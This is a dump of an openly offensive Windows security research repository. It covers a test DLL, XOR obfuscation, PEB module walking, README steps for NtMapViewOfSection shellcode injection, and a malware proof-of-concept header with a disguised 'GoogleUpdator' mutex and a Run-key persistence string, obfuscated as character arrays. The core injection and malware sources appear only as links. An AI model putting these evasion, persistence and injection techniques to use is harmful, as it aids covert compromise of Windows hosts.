WMI namespace 20 | nullptr, // User name. NULL = current user 21 | nullptr, // User password. NULL = current 22 | nullptr, // Locale. NULL indicates current 23 | NULL, // Security flags. 24 | nullptr, // Authority (for example, Kerberos) 25 | nullptr, // Context object 26 | &this->m_service // pointer to IWbemServices proxy 27 | ); 28 | 29 | if (FAILED(result)) 30 | { 31 | const _com_error error(result); 32 | THROW_WSTRING_RUNTIME_ERROR(std::wstring(error.ErrorMessage())); 33 | } 34 | 35 | // Set security levels on the proxy: 36 | result = CoSetProxyBlanket( 37 | this->m_service, // Indicates the proxy to set 38 | RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx 39 | RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx 40 | nullptr, // Server principal name 41 | RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx 42 | RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx 43 | nullptr, // client identity 44 | EOAC_NONE // proxy capabilities 45 | ); 46 | 47 | if (FAILED(result)) 48 | { 49 | const _com_error error(result); 50 | THROW_WSTRING_RUNTIME_ERROR(std::wstring(error.ErrorMessage())); 51 | } 52 | } 53 | 54 | IEnumWbemClassObject* WmiQuery::executeQuery(const std::wstring& query) 55 | { 56 | const HRESULT result = this->m_service->ExecQuery( 57 | this->m_wmiQueryLanguage, 58 | bstr_t(query.c_str()), 59 | WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, 60 | nullptr, 61 | &this->m_classObjectEnumerator); 62 | 63 | if (FAILED(result)) 64 | { 65 | const _com_error error(result); 66 | THROW_WSTRING_RUNTIME_ERROR(std::wstring(error.ErrorMessage())); 67 | } 68 | 69 | return this->m_classObjectEnumerator; 70 | } 71 | -------------------------------------------------------------------------------- /Common/WmiQuery.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "Wmi.h" 4 | 5 | #include 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | class WmiQuery 12 | { 13 | public: 14 | explicit WmiQuery(const std::wstring& wmiNamespace = WMI_ROOT_CIMV2_NAMESPACE, const std::wstring& wmiQueryLanguage = WMI_WQL_QUERY_LANGUAGE); 15 | 16 | virtual ~WmiQuery() = default; 17 | 18 | IEnumWbemClassObject* executeQuery(const std::wstring& query); 19 | 20 | private: 21 | _bstr_t m_wmiNamespace; 22 | _bstr_t m_wmiQueryLanguage; 23 | CComPtr m_locator; 24 | CComPtr m_service; 25 | CComPtr m_classObjectEnumerator; 26 | }; 27 | -------------------------------------------------------------------------------- /DL/DL.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {3331F978-0460-43EA-B4E7-A8C4DC3B2E9D} 24 | Win32Proj 25 | DLLExample 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | true 91 | WIN32;_DEBUG;DLLEXAMPLE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 92 | true 93 | pch.h 94 | 95 | 96 | Windows 97 | true 98 | false 99 | 100 | 101 | 102 | 103 | Use 104 | Level3 105 | Disabled 106 | true 107 | _DEBUG;DLLEXAMPLE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 108 | true 109 | pch.h 110 | 111 | 112 | Windows 113 | true 114 | false 115 | 116 | 117 | 118 | 119 | Use 120 | Level3 121 | MaxSpeed 122 | true 123 | true 124 | true 125 | WIN32;NDEBUG;DLLEXAMPLE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 126 | true 127 | pch.h 128 | 129 | 130 | Windows 131 | true 132 | true 133 | false 134 | false 135 | 136 | 137 | 138 | 139 | Use 140 | Level3 141 | MaxSpeed 142 | true 143 | true 144 | true 145 | NDEBUG;DLLEXAMPLE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 146 | true 147 | pch.h 148 | 149 | 150 | Windows 151 | true 152 | true 153 | true 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | Create 165 | Create 166 | Create 167 | Create 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | -------------------------------------------------------------------------------- /DL/DL.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /DL/README.md: -------------------------------------------------------------------------------- 1 | DLL example: 2 | - 3 | * Used for testing the other project in this solution. 4 | * Only pops-up MessageBox the indicates successful loading. 5 | --- 6 | 7 | Usage in other projects in this solution: 8 | - 9 | * Shellcode Project - I've used this DLL in testing the shellcode. -------------------------------------------------------------------------------- /DL/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | 4 | BOOL APIENTRY DllMain(HMODULE hModule, 5 | DWORD ul_reason_for_call, 6 | LPVOID lpReserved 7 | ) 8 | { 9 | switch (ul_reason_for_call) 10 | { 11 | case DLL_PROCESS_ATTACH: 12 | MessageBox(nullptr, L"Running from DLL!", L"OffensiveWinAPI", MB_OK); 13 | break; 14 | case DLL_THREAD_ATTACH: 15 | break; 16 | case DLL_THREAD_DETACH: 17 | break; 18 | case DLL_PROCESS_DETACH: 19 | break; 20 | } 21 | return TRUE; 22 | } 23 | 24 | -------------------------------------------------------------------------------- /DL/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /DL/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /DL/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /EncryptDecrypt/EncryptDecrypt.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {623646C9-945B-4DC1-98D2-6615A64B53CA} 24 | EncryptDecryptFile 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | MaxSpeed 77 | true 78 | true 79 | true 80 | true 81 | 82 | 83 | Console 84 | true 85 | true 86 | 87 | 88 | 89 | 90 | Level3 91 | Disabled 92 | true 93 | true 94 | 95 | 96 | Console 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | true 104 | true 105 | 106 | 107 | Console 108 | 109 | 110 | 111 | 112 | Level3 113 | MaxSpeed 114 | true 115 | true 116 | true 117 | true 118 | 119 | 120 | Console 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /EncryptDecrypt/EncryptDecrypt.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /EncryptDecrypt/README.md: -------------------------------------------------------------------------------- 1 | # XOR Encrypt / Decrypt Example 2 | 3 | * XOR is common method used by Malwares to hide data, this method consider weak and easy to detect. 4 | * Some Malwares uses more advanced methods such as custom RC4, real encryption algorithms, etc. 5 | * I decided to create example project demonstrating the usage of XOR operation for Encrypt / Decrypt a given file. 6 | * Latter this method is used in my POC Malware. 7 | --- 8 | 9 | ## Useful Links: 10 | * WinAPI example for opening a File for Reading or Writing - https://docs.microsoft.com/en-us/windows/win32/fileio/opening-a-file-for-reading-or-writing 11 | * Usage of more advanced method for encryption (RC4) - https://docs.microsoft.com/en-us/windows/win32/seccrypto/example-c-program-encrypting-a-file 12 | --- 13 | 14 | -------------------------------------------------------------------------------- /EncryptDecrypt/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/EncryptDecrypt/main.cpp -------------------------------------------------------------------------------- /Helper/Helper.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /HideDLL/HideDLL.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {07D7743C-CF8B-49F4-A262-AA3474337119} 24 | Exe1HideDLL 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | Console 82 | 83 | 84 | 85 | 86 | Level3 87 | Disabled 88 | true 89 | true 90 | 91 | 92 | Console 93 | 94 | 95 | 96 | 97 | Level3 98 | MaxSpeed 99 | true 100 | true 101 | true 102 | true 103 | 104 | 105 | Console 106 | true 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | MaxSpeed 114 | true 115 | true 116 | true 117 | true 118 | 119 | 120 | Console 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /HideDLL/HideDLL.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /HideDLL/hideDLL.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | typedef struct _LDR_MODULE { 6 | LIST_ENTRY InLoadOrderModuleList; 7 | LIST_ENTRY InMemoryOrderModuleList; 8 | LIST_ENTRY InInitializationOrderModuleList; 9 | PVOID BaseAddress; 10 | PVOID EntryPoint; 11 | ULONG SizeOfImage; 12 | UNICODE_STRING FullDllName; 13 | UNICODE_STRING BaseDllName; 14 | ULONG Flags; 15 | SHORT LoadCount; 16 | SHORT TlsIndex; 17 | LIST_ENTRY HashTableEntry; 18 | ULONG TimeDateStamp; 19 | 20 | }LDR_MODULE, * PLDR_MODULE; 21 | 22 | /* 23 | * The structure is undocumented and we need to defined it by ourself. 24 | * http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FPEB_LDR_DATA.html 25 | */ 26 | typedef struct __PEB_LDR_DATA { 27 | ULONG Length; 28 | BOOLEAN Initialized; 29 | PVOID SsHandle; 30 | LIST_ENTRY InLoadOrderModuleList; 31 | LIST_ENTRY InMemoryOrderModuleList; 32 | LIST_ENTRY InInitializationOrderModuleList; 33 | } Peb_Ldr_Data, * PPeb_Ldr_Data; 34 | 35 | DWORD GetPebAddress(); 36 | DWORD* GetPebLdrAddress(); 37 | DWORD FindModuleBaseAddress(PPeb_Ldr_Data ldrBaseAddress, TCHAR* moduleName); 38 | 39 | int main() { 40 | TCHAR moduleName[] = "DLLExample.dll"; 41 | HANDLE hMyDLL; 42 | PPEB dwPebAddress; 43 | PPeb_Ldr_Data ldrAddress; 44 | 45 | // Load external DLL into process memory: 46 | hMyDLL = LoadLibrary(moduleName); 47 | 48 | // Get the PEB address: 49 | dwPebAddress = (PPEB)GetPebAddress(); 50 | 51 | // Get the Loaded-Modules (PEB_LDR_DATA) list address: 52 | ldrAddress = (PPeb_Ldr_Data)GetPebLdrAddress(); 53 | 54 | // Get the base address of DLL: 55 | FindModuleBaseAddress(ldrAddress, moduleName); 56 | 57 | return 0; 58 | } 59 | /* 60 | * Get the current process PEB address. 61 | * http://www.rohitab.com/discuss/topic/34435-get-base-address-via-process-peb-and-hide-from-peb/ 62 | */ 63 | DWORD GetPebAddress() { 64 | DWORD* dwPebBaseAddress; 65 | __asm { 66 | push eax // Save the current value of EAX 67 | mov eax, FS: [0x30] // Get PEB base address 68 | mov[dwPebBaseAddress], eax // Return PEB_LDR_DATA address 69 | pop eax // Restore EAX value 70 | } 71 | return (DWORD)dwPebBaseAddress; 72 | } 73 | 74 | DWORD* GetPebLdrAddress() { 75 | DWORD* dwPebLdrBaseAddress; 76 | __asm { 77 | push eax // Save the current value of EAX 78 | mov eax, FS: [0x30] // Get PEB base address 79 | add eax, 0xC // Offset to PEB_LDR_DATA address (in PEB) 80 | mov eax, [eax] // Get PEB_LDR_DATA base address value 81 | mov[dwPebLdrBaseAddress], eax // Return PEB_LDR_DATA address 82 | pop eax // Restore EAX value 83 | } 84 | return dwPebLdrBaseAddress; 85 | } 86 | 87 | DWORD FindModuleBaseAddress(PPeb_Ldr_Data ldrBaseAddress, TCHAR* moduleName) { 88 | 89 | // Get the first _LIST_ENTRY of InMemoryLoadedModules: 90 | PLDR_MODULE ldrModule = (PLDR_MODULE)ldrBaseAddress->InLoadOrderModuleList.Flink; 91 | 92 | while (ldrModule->BaseAddress != 0) { 93 | 94 | std::wcout << ldrModule->BaseDllName.Buffer << std::endl; 95 | 96 | // Move to the next _LIST_ENTRY: 97 | ldrModule = (PLDR_MODULE)ldrModule->InLoadOrderModuleList.Flink; 98 | 99 | } 100 | return 1; 101 | } -------------------------------------------------------------------------------- /Injection/Injection.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Injection/Injection.cpp -------------------------------------------------------------------------------- /Injection/Injection.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Injection/Injection.h -------------------------------------------------------------------------------- /Injection/Injection.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {02BF46AD-A973-40CB-97E9-A502A80F8588} 24 | Malware 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | Console 82 | 83 | 84 | 85 | 86 | Level3 87 | Disabled 88 | true 89 | true 90 | 91 | 92 | Console 93 | 94 | 95 | 96 | 97 | Level3 98 | Disabled 99 | true 100 | false 101 | false 102 | true 103 | false 104 | false 105 | false 106 | 107 | 108 | Console 109 | true 110 | true 111 | 112 | 113 | true 114 | 115 | 116 | 117 | 118 | Level3 119 | MaxSpeed 120 | true 121 | true 122 | true 123 | true 124 | 125 | 126 | Console 127 | true 128 | true 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /Injection/Injection.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /Injection/README.md: -------------------------------------------------------------------------------- 1 | # Injection using NtMapViewOfSection 2 | 3 | Background 4 | - 5 | This method exploiting Windows ability of create shared section between processes. 6 | By creating Section that shared between processes, 7 | malicious process can write anything to the shared section and 8 | latter trigger the execution of the malicious code in the target process. 9 | 10 | --- 11 | 12 | Steps 13 | - 14 | 1. Create new section with RWX permission in the malicious process. 15 | 2. Map the new section to virtual memory. 16 | 3. Open handle to target process. 17 | 4. Map the section to the target process (share memory). 18 | 5. Write shellcode into the mapped section. 19 | 6. start thread for executing the shellcode in the target process. 20 | --- 21 | 22 | Pros & Cons 23 | - 24 | * Creating remote thread for executing the shellcode could trigger EDRs. 25 | * Depend on shellcode for injection \ Reflective code. 26 | 27 | 28 | --- 29 | 30 | Example 31 | - 32 | Copying the shellcode to the shared section: 33 |
34 | Coping the shellcode 35 | 36 | Execution of the shellcode in the target process: 37 |
38 | Shellcode execution in target process 39 | 40 | --- 41 | 42 | Useful links 43 | - 44 | 1. NtMapViewOfSection from "NTAPI Undocumented Functions" - http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html 45 | 2. Windows Process Injection in 2019, Safebreach Labs - https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf 46 | 3. Ten process injection techniques, Elastic - https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process 47 | 4. NtCreateSection + NtMapViewOfSection Code Injection - https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection 48 | 49 | Disclaimer 50 | - 51 | This repository is for research purposes only, the use of this code is your responsibility. 52 | 53 | I take NO responsibility and/or liability for how you choose to use any of the source code available here. By using any of the files available in this repository, you understand that you are AGREEING TO USE AT YOUR OWN RISK. Once again, ALL files available here are for EDUCATION and/or RESEARCH purposes ONLY. 54 | 55 | Any actions and/or activities related to the material contained within this repository is solely your responsibility. 56 | 57 | This repository does not promote any hacking related activity. All the information in this repository is for educational purposes only. -------------------------------------------------------------------------------- /Injection/images/executing_shellcode.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Injection/images/executing_shellcode.gif -------------------------------------------------------------------------------- /Injection/images/mapping_shellcode.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Injection/images/mapping_shellcode.gif -------------------------------------------------------------------------------- /Malware/Helpers.cpp: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Malware/Helpers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef HELPER_H_ 3 | #define HELPER_H_ 4 | 5 | #include 6 | 7 | // TODO: Add helper print function for testing: 8 | // https://stackoverflow.com/a/1644898 9 | 10 | 11 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 12 | #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) 13 | const TCHAR MUTEX_NAME[] = { 'G','o','o','g','l','e','U','p','d','a','t','o','r',0 }; 14 | const TCHAR RUN_KEY[] = { 'H','K','E','Y','_','C','U','R','R','E','N','T','_','U','S','E','R','\\','S','o','f','t','w','a','r','e','\\','M','i','c','r','o','s','o','f','t','\\','W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\','R','u','n',0 }; 15 | const TCHAR NTDLL[] = { 'n','t','d','l','l',0 }; 16 | const TCHAR NT_QUERY_EA_FILE[] = { 'N','t','Q','u','e','r','y','E','a','F','i','l','e',0 }; 17 | const TCHAR LOG_FILE_PATH[] = { 'd','b','.','l','o','g',0 }; 18 | const TCHAR ATTRIBUTE_NAME[] = { '$','H','3','1','1','C','0','D','3',0 }; 19 | const TCHAR RESOURCE_NAME[] = { 'U','P','D','A','T','E','R',0 }; 20 | 21 | typedef struct _IO_STATUS_BLOCK 22 | { 23 | union 24 | { 25 | NTSTATUS Status; 26 | PVOID Pointer; 27 | }; 28 | ULONG_PTR Information; 29 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 30 | 31 | /* 32 | * http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/NtQueryEaFile.html 33 | */ 34 | typedef NTSTATUS(WINAPI* pNtQueryEaFile)( 35 | _In_ HANDLE FileHandle, 36 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 37 | _Out_ PVOID Buffer, 38 | _In_ ULONG Length, 39 | _In_ BOOLEAN ReturnSingleEntry, 40 | _In_ PVOID EaList, 41 | _In_ ULONG EaListLength, 42 | _In_opt_ PULONG EaIndex, 43 | _In_ BOOLEAN RestartScan 44 | ); 45 | 46 | /* 47 | * http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/FILE_FULL_EA_INFORMATION.html 48 | */ 49 | typedef struct _FILE_FULL_EA_INFORMATION { 50 | ULONG NextEntryOffset; 51 | BYTE Flags; 52 | BYTE EaNameLength; 53 | USHORT EaValueLength; 54 | CHAR EaName[1]; 55 | 56 | } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; 57 | 58 | #endif /* HELPER_H_ */ 59 | -------------------------------------------------------------------------------- /Malware/Malware.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Malware/Malware.cpp -------------------------------------------------------------------------------- /Malware/Malware.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AvivShabtay/OffensiveWinAPI/a2a9168a7655cd3f1c79ef0745face2bf2cb1b4c/Malware/Malware.rc -------------------------------------------------------------------------------- /Malware/Malware.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {0BC60777-B7AD-40A0-B2C8-5D703D667D90} 24 | Malware 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | true 80 | true 81 | 82 | 83 | Console 84 | true 85 | true 86 | 87 | 88 | 89 | 90 | Level3 91 | Disabled 92 | true 93 | true 94 | 95 | 96 | Console 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | true 104 | true 105 | 106 | 107 | Console 108 | 109 | 110 | 111 | 112 | Level3 113 | MaxSpeed 114 | true 115 | true 116 | true 117 | true 118 | 119 | 120 | Console 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /Malware/Malware.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | 34 | 35 | Resource Files 36 | 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /Malware/README.md: -------------------------------------------------------------------------------- 1 | # Malware POC 2 | 3 | ## Background 4 | * This project combine the others into sophisticated Malware with special capabilities. 5 | * Assume this malware is part of multi-stage attack thus the attacker deliver the malware and the db.log file. 6 | * You can create the db.log with embedded Extended-Attributes using the project: PlayWithNTFS (in this solution). 7 | --- 8 | 9 | ## Main features 10 | * Hidden shellcode using NTFS Extended-Attributes. 11 | * Persistence using Windows Registry run keys. 12 | * Injection using share memory. 13 | * 14 | --- 15 | 16 | # Notes about embedding resource 17 | * Embedding resource in PE file using Visual Studio - https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#embedding-the-shellcode-as-a-resource 18 | * The malicious DLL placed in the project directory named: "UPDATER". 19 | * To change the resource relative path check: "Malware.rc" file. (how to use the correct path: https://stackoverflow.com/a/33848803) 20 | * To use FindResource function you need 